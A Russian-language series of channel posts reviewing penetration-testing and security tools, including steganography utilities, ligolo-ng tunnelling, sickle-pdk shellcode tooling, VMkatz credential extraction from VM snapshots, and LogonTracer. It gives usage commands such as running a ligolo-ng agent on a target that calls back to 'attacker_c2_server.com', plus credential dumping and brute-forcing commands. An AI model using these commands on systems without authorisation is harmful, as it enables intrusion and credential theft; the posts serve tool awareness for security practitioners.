Стеганография в изображениях

Основные инструменты:

💻 zsteg - комбайн по работе с PNG и BMP

gem install zsteg
zsteg -a pic.png

💻 png-parser - анализ PNG изображений

pip install --user git+https://github.com/Hedroed/png-parser
png-parser pic.png

💻 steghide - извлекает данные из JPG

sudo apt install steghide
steghide extract -sf pic.jpg

💻 stegseek - самый быстрый брутер steghide файлов

sudo apt install ./stegseek_0.6-1.deb
stegseek pic.jpg rockyou.txt

💻 stegoveritas - очередной комбайн, разбирает по слоям, применяет кучу фильтров, результат сохраняет в отдельную директорию

pip3 install stegoveritas
stegoveritas pic.png

💻 stegsolve - Java приложение, работа со слоями, LSB, стереограмы

java -jar StegSolve.jar

🐥 exiftool - лучший инструмент по работе с метаданными

exiftool pic.png

🐥 exiftoolGUI - графический интерфейс для exiftool ( 📦 )
🐥 tweakpng - редактор метаданных в PNG ( 📦 )
🐥 pngcheck - анализатор PNG изображений

sudo apt install pngcheck
pngcheck -v pic.png

💻 stegpy - LSB

pip3 install stegpy
stegpy pic.png

🐥 OpenStego - очередная стегано утилита ( 📦 )
🐥 Magic Eye Solver - решение стереограм
🐥 Aperi Solve - веб сервис все в одном
🐥 Piet IDE - веб сервис решение Piet

#steganography #tools #soft

🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером

🎇 SysReptor

Полностью настраиваемая платформа для составления отчетов о тестировании на проникновение, предназначенная для специалистов в области кибербезопасности.

❗️Решает одну из ключевых проблем, (которую так не любят делать технические специалисты) — стандартизацию и автоматизацию отчётности.

🧿Основные возможности
⏺️поддержка Markdown;
⏺️полная кастомизация через HTML и CSS;
⏺️поддержка экспорта в PDF;
⏺️развертывание на собственном сервере или в облаке.

⬇️Установка
Устанавливаем дополнительные компоненты, Docker и скачиваем установочный скрипт инструмента:

sudo apt update
sudo apt install -y sed curl openssl uuid-runtime coreutils
curl -fsSL https://get.docker.com | sudo bash
bash <(curl -s https://docs.sysreptor.com/install.sh)

Веб-приложение будет доступно по адресу https://127.0.0.1:8000/

🔑Разработка отчетов
Конструктор отчетов позволяет полностью настроить внешний вид и структуру итоговых отчетов в формате PDF. Ограничений по дизайну нет, поэтому вы можете адаптировать отчеты под свои нужды.

Существует два основных подхода к созданию отчетов:
1️⃣ Начать с существующего шаблона (скопировать существующий шаблон отчета из раздела и изменить его в соответствии со своими требованиями).
2️⃣ Начать создавать отчет нуля:
➡️определить поля отчета и поля находок (уязвимостей);
➡️определить базовую структуру отчета в редакторе макетов;
➡️настроить HTML и CSS в соответствии со своими потребностями с помощью редакторов кода.

Существует возможность использовать также и готовые фрагменты HTML и CSS, которые упрощают процесс создания отчетов. Они содержат часто используемые элементы отчетов (титульный лист, верхний и нижний колонтитулы, оглавление, список выводов, приложения и т. д.), которые можно легко настроить в соответствии с конкретными потребностями.

🔁Шаблоны уязвимостей
Одна из самых полезных функций для ИБ-специалистов, которая позволяет ускорить дальнейшую подготовку отчетов. Они содержат общие описания результатов и уязвимостей. Таким образом, описав результаты один раз в шаблоне, далее можно использовать их в различных отчетах.

#tools #reports #pentesting

🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером

☁️ADPulse

Инструмент с открытым исходным кодом, предназначенный для аудита безопасности Active Directory, который подключается к контроллеру домена и выполняет 35 автоматических проверок безопасности. Дает быструю оценку неправильных конфигураций Active Directory, а также ищет уязвимые места в инфраструктуре.

Вместе со сканером безопасности на странице инструмента также представлен скрипт PowerShell с названием test_environment.ps1, с помощью которого можно настроить собственный уязвимый контроллер домена для проведения тестирования.

Как это работает?
1️⃣Подключение — ADPulse связывается с целевым контроллером домена по протоколу LDAPS (порт 636) с автоматическим переключением на LDAP (порт 389). Попытка аутентификации осуществляется с помощью NTLM и протокола SIMPLE bind.
2️⃣Сканирование — каждая из 35 функций проверки запрашивает данные из AD через LDAP и, в случае определенных проверок, выполняет дополнительные операции: легкие сетевые проверки (SMBv1, подписание, нулевые сессии) обнаруженных хостов, обход файловой системы SYSVOL для определения учетных данных GPP и анализ данных DACL для проверок, связанных с ACL.
3️⃣Оценка — результатам присваивается степень критичности и вычитается определенное количество баллов из общей оценки.

Все операции выполняются только с доступом на чтение. ADPulse не изменяет объекты Active Directory, членство в группах, объекты групповой политики или списки управления доступом.

⬇️Установка

# Клонируем репозиторий
git clone https://github.com/yourorg/adpulse.git
cd adpulse

# (Recommended) Создаем виртуальное окружение
python -m venv venv
source venv/bin/activate        # Linux / macOS
venv\Scripts\activate           # Windows

# Устанавливаем зависимости
pip install -r requirements.txt

Форматы отчетов
➡️Вывод в консоль — вывод в терминале с цветовой кодировкой, позволяющий быстро увидеть критические результаты и ключевые моменты;
➡️JSON — машиночитаемый экспорт для интеграции с системами управления ИБ и событиями безопасности, системами обработки заявок или пользовательскими информационными панелями;
➡️HTML — автономный отчет в темной цветовой гамме со сворачиваемыми разделами, значками уровня критичности, карточками со статистикой, шкалой оценки и списком шаблонов ADCS.

🧿Оценка уровня критичности обнаружений
За каждую обнаруженную мисконфигурацию вычитается определенное количество баллов. Общая оценка начинается со 100 и уменьшается за каждое обнаружение:
📉 80–100 — Низкий — хорошая система безопасности c незначительными проблемами;
📉 60–79 — Средний — существенные недостатки, которые необходимо устранить;
📉 40–59 — Высокий — присутствуют значительные уязвимости;
🖱 0–39 — Критический — серьезные риски, которые требуют немедленного устранения.

Использование
❗️ Для работы с ADPulse требуются действительные учетные данные домена.

1️⃣ Базовое сканирование. Все три формата отчетов по умолчанию создаются в папке Reports/.

python ADPulse.py --domain corp.local --user jsmith --password 'P@ssw0rd!'

2️⃣ Сканирование с указанием IP DC, генерацией отчета только в формате HTML в директории /tmp/scans.

python ADPulse.py --domain corp.local --user jsmith --password 'P@ssw0rd!' --dc-ip 10.0.0.1 --report html --output-dir /tmp/scans

#tools #AD #pentesting #infrastructure

🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером

🔁 ligolo-ng

Простой, легкий и быстрый инструмент, который позволяет пентестерам создавать туннели на основе обратного TCP/TLS-соединения с использованием интерфейса tun (без необходимости в SOCKS). Поддерживаются протоколы TCP, UDP, ICMP.

👉 Принцип работы
Пакеты, отправляемые в TUN-интерфейс при запуске прокси-сервера, транслируются и затем передаются в удалённую сеть агента.

Например, для TCP-соединения процесс работает следующим образом:
⏺️SYN-пакеты преобразуются в системный вызов connect() на удалённой стороне.
⏺️Если connect() выполняется успешно, обратно отправляется SYN-ACK.
⏺️Если после вызова connect() возвращаются ошибки ECONNRESET, ECONNABORTED или ECONNREFUSED, отправляется RST-пакет.
⏺️Если соединение завершается тайм-аутом, никакого ответа не отправляется.

Такой механизм позволяет использовать инструменты, например Nmap, без необходимости использования proxychains.

📐Характеристики
📉Удобный пользовательский интерфейс с возможностью выбора агента и отображением информации о сетевых соединениях;
📉Автоматическая настройка сертификата с использованием Let's Encrypt;
📉Агент не требует повышенных привилегий на целевой системе;
📉Поддержка одновременной работы с несколькими туннелями;
📉Поддержка WebSocket-соединений;
📉Поддержка режимов reverse-подключения и bind-подключения.

🔎 Установка
Можно произвести установку из репозитория Kali Linux : apt install ligolo-ng.
Или собрать через go:

go build -o agent cmd/agent/main.go
go build -o proxy cmd/proxy/main.go

➡️Использование
При использовании в Linux необходимо создать интерфейс tun на прокси-сервере:

sudo ip tuntap add user [your_username] mode tun ligolo
sudo ip link set ligolo up

Далее необходимо запустить прокси-сервер на своем сервере (порт по умолчанию 11601):

./proxy -autocert 
./proxy -selfcert

После этого запускается агент на целевой системе:

./agent -connect attacker_c2_server.com:11601

После подключения агента на прокси-сервере появится новая сессия:

INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000

Через команду session необходимо выбрать нужного агента и далее запустить туннелирование на прокси-сервере, используя имя интерфейса.

❗️С версии 0.8 в инструменте поддерживается управление через веб-интерфейс.

#tools #tun #pentest #network

🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером

🌐STEWS — инструмент для тестирования и перечисления WebSockets.

🎯Возможности
⏺️Нахождение конечных точек WebSockets, путем тестирования перечня доменов. Использует модифицированную версию ZGrab2 для проверки URL-адресов на поддержку WebSocket путем отправки первой части процедуры установления соединения WebSocket.

⏺️Определение, какой сервер WebSockets работает на конечной точке:
использует различия на уровне реализации в популярных реализациях WebSocket, чтобы попытаться идентифицировать запущенные серверы WebSocket. STEWS использует функции сервера как в процессе установления соединения WebSocket (с использованием протокола HTTP), так и в рамках протокола WebSocket (с использованием протокола WebSocket).

⏺️Проверка, не подвержен ли сервер WebSockets известным уязвимостям CVE или другим уязвимостям WebSockets: CSWSH (перехват межсайтовых веб-сокетов), CVE-2020-27813,CVE-2020-7662 и CVE-2020-7663, CVE-2021-32640.

Что такое WebSockets❓
WebSocket обеспечивает постоянное соединение между клиентом и сервером. Данные передаются в обе стороны без задержек - сообщения в чате приходят сразу, а игровые действия синхронизируются в реальном времени. Появление WebSocket стало прорывом для сервисов, где важна мгновенная реакция.

➡️Установление соединения. Соединение WebSocket начинается с обычного HTTP-запроса, в который включается заголовок Upgrade,сообщающий о желании перейти на протокол Websocket. Этот процесс называется Websocket-handshake

➡️Обмен данными. После успешного “рукопожатия” устанавливается постоянное соединение и данные могут передаваться в реальном времени в обе стороны без необходимости отправлять новый запрос.

Использование
1️⃣Поиск уязвимостей представляет собой выбор из четырех возможных тестов. Ниже представлен выбор четвертого теста для проверки CVE-2020-27813.

python3 STEWS-vuln-detect.py -4 -n -u 127.0.0.1:8084

2️⃣Запуск всех тестовых сценариев с флагом -a обеспечивает наиболее точное сопоставление отпечатков, что может занять много времени и потребовать отправки большого объема данных на конечную точку, для которой выполняется снятие отпечатка.

python3 STEWS-fingerprint.py -1 -k -u streamer.finance.yahoo.com

3️⃣Для нахождения конечных точек WebSockets в файле known-endpoints.txt необходимо указать целевые домены и запустить следующий сценарий.

STEWS-discovery.sh

#tools #websockets #network

🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером

🧠sickle-pdk

Набор инструментов для создания полезной нагрузки. В инструменте реализован модульный подход, позволяющий добавлять новые функции с минимальными затратами времени на изучение структуры инструмента.

Возможности
1️⃣Генерация шелл-кода - поддерживает генерацию шелл-кода с помощью Keystone Engine.

2️⃣Sickle включает модуль diffing, изначально разработанный для анализа заглушек шелл-кода. Оригинальный режим asm выполняет линейное сравнение различий дизассемблированного кода как на уровне ассемблера, так и отдельно на уровне опкодов. Кроме того, Sickle предлагает различные режимы сравнения, что делает его полезным не только при разработке шелл-кода

3️⃣Выполнение шелл-кода. Одна из распространенных задач, которую часто приходится выполнять, — это тестирование шелл-кода. Этот процесс обычно состоит из следующих этапов:
▶️Компиляция кода на языке ассемблера.
▶️Извлечение шелл-кода и форматирование его в соответствии с выбранной оболочкой.
▶️Компиляция и запуск оболочки.

Sickle упрощает процесс, автоматически оборачивая шелл-код для быстрого тестирования, а модуль run в настоящее время поддерживает как Windows, так и Unix

4️⃣Дизасемблирование - Sickle также может преобразовывать двоичный файл в извлеченные опкоды, а затем преобразовывать их в машинные инструкции (ассемблер).

5️⃣Извлечение шелл-кода - основная функция Sickle, поскольку опкоды интерпретируются по-разному в зависимости от используемой оболочки. Например, JavaScript не хранит и не интерпретирует шелл-код так же, как программы на языке C.

6️⃣Выявление недопустимых символов. Хотя в 64-битных эксплойтах это встречается реже, могут быть случаи, когда эксплойт ограничивает использование определённых символов. Именно здесь модуль pinpoint особенно полезен, так как он напрямую определяет и выделяет инструкции ассемблера, ответственные за обнаруженные недопустимые символы.

⛓️‍💥Использование
➡️Сравнение

sickle-pdk -m diff -r calc.exe BINFILE=calc2.exe MODE=htxdump

➡️Выполнение шелл-кода

sickle-pdk -m run -r shellcode.bin

➡️Дизасемблирование

sickle-pdk -r generic_sc -m disassemble

➡️Извлечение шелл-кода

sickle-pdk -r generic_sc -f rust 

#tools #payload #assemler

🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером

🧠deep-eye

Усовершенствованный сканер уязвимостей на основе искусственного интеллекта и инструмент для тестирования на проникновение, который объединяет в себе различные ИИ-сервисы (OpenAI, Grok, OLLAMA, Claude) с комплексными модулями тестирования для автоматического поиска уязвимостей, интеллектуальной генерацией полезной нагрузки и составления профессиональных отчетов.

📐Возможности
📉Поддержка нескольких поставщиков AI: Динамическое переключение между OpenAI, Grok, OLLAMA и Claude;
📉Интеллектуальная генерация полезной нагрузки: контекстно-зависимые полезные нагрузки на базе искусственного интеллекта;
📉Комплексное сканирование: 45+ методов атаки с помощью тестов, специфичных для конкретной платформы;
📉Расширенная разведка: пассивный OSINT, перечисление DNS, обнаружение поддоменов;
📉Отчетность: Отчеты в формате PDF / HTML / JSON с аналитикой OSINT и кратким резюме;
📉Совместное сканирование: распределенное сканирование с возможностью управления сеансами;
📉Система пользовательских плагинов: поддерживает возможность добавления собственных сканеров уязвимостей;
🖱Многоканальные уведомления: Оповещения в режиме реального времени по электронной почте, Slack и Discord.

⬇️Установка

git clone https://github.com/zakirkun/deep-eye.git
cd deep-eye
pip install -r requirements.txt
# Редактируйте config.yaml в соответствии с вашими API-ключами
cp config/config.example.yaml config/config.yaml

Все опции сканирования настраиваются в файле config/config.yaml:


🛡Использование
1️⃣Простое сканирование цели через CLI.

python deep_eye.py -u https://example.com

2️⃣Полное сканирование цели и генерация отчета.

python deep_eye.py -u https://testsite.com --recon --full-scan --format pdf -o full_report.pdf

3️⃣Сканирование через прокси с указанием конкретного AI-провайдера.

python deep_eye.py -u https://testsite.com --ai-provider claude --proxy https://127.0.0.1:8080

#tools #scanner #pentesting

🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером

🤖IoTHackBot

Набор специализированных инструментов с интеграцией Claude Code, предназначенных для тестирования на безопасность IoT-устройств, IP-камер и встроенных систем. Он включает в себя как инструменты командной строки, так и рабочие процессы с использованием искусственного интеллекта для комплексной оценки безопасности IoT.

➡️Для установки необходимо установить зависимости, склонировать репозиторий, добавить каталог bin в переменную PATH и для удобного запуска добавить бинарные файлы инструмента в конфигурацию оболочки.

pip install colorama pyserial pexpect requests
git clone https://github.com/BrownFineSecurity/iothackbot.git
cd iothackbot
export PATH="$PATH:$(pwd)/bin"
echo 'export PATH="$PATH:/path/to/iothackbot/bin"' >> ~/.bashrc

🔗Представляет собой следующий набор инструментов
Обнаружение и разведка сети
⏺️wsdiscovery — сканер протокола WS-Discovery для поиска ONVIF-камер и IoT-устройств;
⏺️iotnet — анализатор сетевого трафика IoT для выявления протоколов и уязвимостей;
⏺️netflows — извлечение сетевых потоков с разрешением DNS-имён из pcap-файлов.

Тестирование для конкретного устройства
⏺️onvifscan — сканер безопасности ONVIF-устройств: проверка обхода аутентификации, перебор учётных данных.

Анализ прошивки и файлов
⏺️chipsec — статический анализ прошивок UEFI/BIOS: обнаружение известных руткитов (LoJax, ThinkPwn, HackingTeam), генерация списка EFI-исполняемых файлов с хешами, декодирование структуры прошивки и извлечение NVRAM.

⏺️ffind — продвинутый поиск файлов с определением типов и извлечением файловых систем: определяет типы артефактных файлов, извлекает файловые системы ext2/3/4 и F2FS.

Анализ Android
⏺️apktool — распаковка APK и извлечение ресурсов: декодирование AndroidManifest.xml, извлечение ресурсов, интерфейсов и строк, дизассемблирование в smali-код.

⏺️jadx — декомпиляция APK: преобразование DEX в читаемый Java-код, поиск захардкоженных учётных данных, анализ логики приложения

Доступ к оборудованию и консоли
⏺️picocom — взаимодействие с UART-консолью IoT-устройств: управление загрузчиком, перебор и анализ shell-доступа, извлечение прошивки.

⏺️telnetshell — работа с telnet-shell на IoT-устройствах: проверка неаутентифицированного доступа к shell, сбор информации об устройстве, работа с командами BusyBox.

⛓️‍💥Использование
▶️Проверка безопасности устройств ONVIF.

onvifscan auth https://192.168.1.100
onvifscan brute https://192.168.1.100

▶️Анализ файла PCAP на предмет протоколов Интернета вещей.

iotnet capture.pcap

▶️Извлечение файловых систем из прошивки устройства.

sudo ffind firmware.bin -e

#tools #IoT #pentest

🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером

👥VMkatz

Инструмент для извлечения учетных данных Windows (хэши NTLM, мастер-ключи DPAPI, билеты Kerberos, кэшированные учетные данные домена, секреты LSA, NTDS.dit, ключи BitLocker) непосредственно из снимков памяти и виртуальных дисков на сетевом хранилище, в гипервизоре и везде, где находятся файлы виртуальной машины.

Для работы используется один статический двоичный файл размером ~3 МБ. Загрузите его на хост ESXi, узел Proxmox или в сетевое хранилище. Укажите .vmsn или .vmdk или целую папку с виртуальными машинами. Получите учетные данные, а не образы дисков.

⬇️Установка
Клонируем репозиторий, компилируем. Двоичный файл будет лежать по пути target/x86_64-unknown-linux-musl/release.

git clone https://github.com/nikaiw/VMkatz.git
cd VMkatz
cargo build --release --target x86_64-unknown-linux-musl
cd target/x86_64-unknown-linux-musl/release
./vmkatz —help

Поддерживаемые входные данные
📉Снимки VMware в формате .vmsn + .vmem;
📉Встроенные снимки VMware в формате .vmsn (без .vmem);
📉Сохранённые состояния VirtualBox в формате .sav;
📉Состояния savevm QEMU/KVM;
📉ELF core dump’ы QEMU/KVM в формате .elf;
📉Сохранённые состояния Hyper-V в формате .vmrs;
📉Виртуальные диски VMware в формате .vmdk;
📉Виртуальные диски VirtualBox в формате .vdi;
📉Виртуальные диски QEMU/KVM в формате .qcow2;
📉Виртуальные диски Hyper-V в формате .vhdx, .vhd;
📉RAW SCSI-устройства VMFS-5/6 в формате /dev/disks/...;
📉Сырые файлы реестра Windows в формате SAM, SYSTEM, SECURITY;
📉Сырой файл NTDS.dit в формате ntds.dit + SYSTEM;
🖱Минидамп процесса LSASS в формате .dmp.

Использование
1️⃣Извлечение учетных данных LSASS из снимка VMware.

./vmkatz snapshot.vmsn

2️⃣Указание пути до виртуальной директории с целью поиска необходимых файлов.

./vmkatz /path/to/vm-directory/

3️⃣Экспорт BitLocker FVEK.

./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn

4️⃣Рекурсивное сканирование всех виртуальных машин по пути /vmfs/volumes/datastore1/.

./vmkatz -r /vmfs/volumes/datastore1/

#tools #credentials #vmware

🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером

🕸LogonTracer

Инструмент для расследования инцидентов несанкционированного входа в систему, позволяющий визуализировать и анализировать журналы событий Windows Active Directory. Он сопоставляет имя хоста (или IP-адрес) и имя учетной записи, указанные в событиях, связанных с входом в систему, и отображает их в виде графов. Таким образом можно увидеть, с какой учетной записи и с какого хоста была предпринята попытка входа.

📐Позволяет визуализировать следующие идентификаторы событий, связанных со входом в Windows:
📉4624 — Успешный вход в систему;
📉4625 — Ошибка входа в систему;
📉4662 — Выполнена операция над объектом;
📉4672 — Назначены специальные привилегии;
📉4719 — Изменена политика аудита системы;
📉4720 — Создана учётная запись пользователя;
📉4726 — Удалена учётная запись пользователя;
📉4728 / 4732 / 4756 — Пользователь добавлен в защищённую группу;
📉4729 / 4733 / 4757 — Пользователь удалён из защищённой группы;
📉4768 — Аутентификация Kerberos (запрос TGT);
📉4769 — Сервисный билет Kerberos (запрос ST);
📉4776 — Аутентификация NTLM;
📉5137 — Создан объект службы каталогов;
🖱5141 — Удалён объект службы каталогов.

Включает в себя механизм анализа на основе искусственного интеллекта с использованием моделей OpenAI GPT для интеллектуального обнаружения угроз в дополнение к традиционным подходам, основанным на правилах:
➡️Анализ шаблонов безопасности — автоматическая интерпретация результатов графовых запросов и оценка рисков с помощью сопоставления тактик MITRE ATT&CK;
➡️Автономный агент на основе больших языковых моделей — итеративный ИИ-агент, который самостоятельно генерирует и выполняет запросы Cypher к графу Neo4j для выявления угроз без участия человека;
➡️Сигма-правила, созданные ИИ — преобразование результатов анализа ИИ в развертываемые сигма-правила обнаружения;
➡️Поддержка нескольких языков — ответы ИИ могут генерироваться на английском, японском или французском языках.

Дополнительный анализ
1️⃣ LogonTracer использует PageRank (алгоритм, используемый поисковой системой Google для ранжирования веб-страниц в результатах поиска), скрытую марковскую модель и ChangeFinder для обнаружения вредоносных хостов и учетных записей в журналах событий.

2️⃣ С помощью LogonTracer можно также просматривать журналы событий в хронологическом порядке.

⬇️Установка
Клонируем репозиторий и устанавливаем зависимости.

git clone https://github.com/JPCERTCC/LogonTracer.git
cd LogonTracer
pip3 install -r requirements.txt

Далее необходимо скачать и запустить Neo4j и отредактировать файл конфигурации vi config/config.yml.

settings:
logontracer:
WEB_PORT: "8080"
default_user: "neo4j" # Имя пользователя Neo4j для учетной записи LogonTracer по умолчанию
default_password: "password" # Измените его перед первым запуском

neo4j:
NEO4J_USER: "neo4j"
NEO4J_PASSWORD: "password" # Ваш пароль для Neo4j
NEO4J_SERVER: "localhost"
WS_PORT: "7687"

После этого остается запустить приложение командой python3 logontracer.py --run и открыть его по адресу https://localhost:8080.

#defense #tools #SOC

🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером